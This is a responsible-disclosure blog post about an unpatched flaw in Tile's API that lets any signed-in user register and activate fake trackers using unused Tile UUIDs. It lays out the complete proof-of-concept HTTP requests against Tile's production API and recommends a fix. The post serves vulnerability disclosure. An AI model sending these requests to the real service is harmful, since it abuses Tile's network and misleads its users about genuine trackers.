Tile - Creating Fake Trackers

published on Jul 5, 2024

Tags

In my master’s thesis, I analyzed the security and privacy of large portions of Tile’s ecosystem. During this, I discovered several security vulnerabilities affecting various components and features. I reported these vulnerabilities to Tile, following Google Project Zero’s responsible disclosure policy. However, as the 90-day deadline is over and Tile has failed to respond or patch the issues, I’m publishing my findings in hopes of raising awareness. This post describes one vulnerability that allows any authenticated adversary to create fake trackers.

Vulnerability

It is possible to create fake trackers with unused Tile UUIDs.

The endpoint used to add a Tile tracker to an account doesn’t prohibit creating a tracker with an unused Tile UUID.

Essentially, this allows attackers to create almost as many fake trackers as they want without buying legitimate Tile trackers. All fake trackers are treated by the Tile network as genuine trackers.

Proof-of-Concept

The process is relatively simple. The attacker must first sign in to their account. Then, they must send one request to register a fake tracker and another request to actually activate the tracker. If the attacker doesn’t activate the tracker, some features, such as Community Find, will not work with that tracker.

1. Authentication

To create a fake tracker, the attacker needs a valid client UUID and use it to sign in to their account. The attacker can create a valid client UUID by generating a random UUID and registering it with Tile by sending the following request:

PUT https://production.tile-api.com/api/v1/clients/c7394030-5b88-44a2-b1be-704b730b07c7 HTTP/2.0
tile_client_uuid: c7394030-5b88-44a2-b1be-704b730b07c7
[...]: [...]


registration_timestamp=1720090702959&app_id=android-tile-production&app_version=2.115.0.5050

Afterwards, they can sign in to their account with the following request:

POST https://production.tile-api.com/api/v1/clients/c7394030-5b88-44a2-b1be-704b730b07c7/sessions HTTP/2.0
tile_client_uuid: c7394030-5b88-44a2-b1be-704b730b07c7
[...]: [...]

email=********&password=********

2. Creating a Fake Tracker

Using the session cookie and the client UUID of the authentication, the attacker can then create fake tracker by sending the following request:

POST https://production.tile-api.com/api/v1/tiles/75edcdf5bdcae9d3 HTTP/2.0
content-type: multipart/form-data; boundary=30f4a406-0a01-495b-8018-b9f087e6226e
tile_client_uuid: c7394030-5b88-44a2-b1be-704b730b07c7
cookie: session=[...]
[...]: [...]

--30f4a406-0a01-495b-8018-b9f087e6226e
Content-Disposition: form-data; name="tile_uuid"
Content-Transfer-Encoding: binary
Content-Type: text/plain; charset=UTF-8
Content-Length: 16

75edcdf5bdcae9d3
--30f4a406-0a01-495b-8018-b9f087e6226e
Content-Disposition: form-data; name="name"
Content-Transfer-Encoding: binary
Content-Type: text/plain; charset=UTF-8
Content-Length: 12

Fake Tracker
--30f4a406-0a01-495b-8018-b9f087e6226e--

The field Tile UUID specified in the request can be any random 8-byte value that is not yet linked to any actual Tile tracker.

3. Activating the Fake Tracker

In the last step, the attacker must activate the fake tracker by sending the following request:

PUT https://production.tile-api.com/api/v1/tiles/75edcdf5bdcae9d3 HTTP/2.0
content-type: multipart/form-data; boundary=f0845924-3003-45d8-9aa0-816cc3870b89
tile_client_uuid: c7394030-5b88-44a2-b1be-704b730b07c7
cookie: session=[...]
[...]: [...]

--f0845924-3003-45d8-9aa0-816cc3870b89
Content-Disposition: form-data; name="status"
Content-Transfer-Encoding: binary
Content-Type: text/plain; charset=UTF-8
Content-Length: 9

ACTIVATED
--f0845924-3003-45d8-9aa0-816cc3870b89
Content-Disposition: form-data; name="group_id"
Content-Transfer-Encoding: binary
Content-Type: text/plain; charset=UTF-8
Content-Length: 36

[...]
--f0845924-3003-45d8-9aa0-816cc3870b89--

Fix

It is recommended to verify that the Tile UUID is linked to a Tile tracker.

Timeline

© Copyright 2024 - Simon Lukas Kurz. All Rights Reserved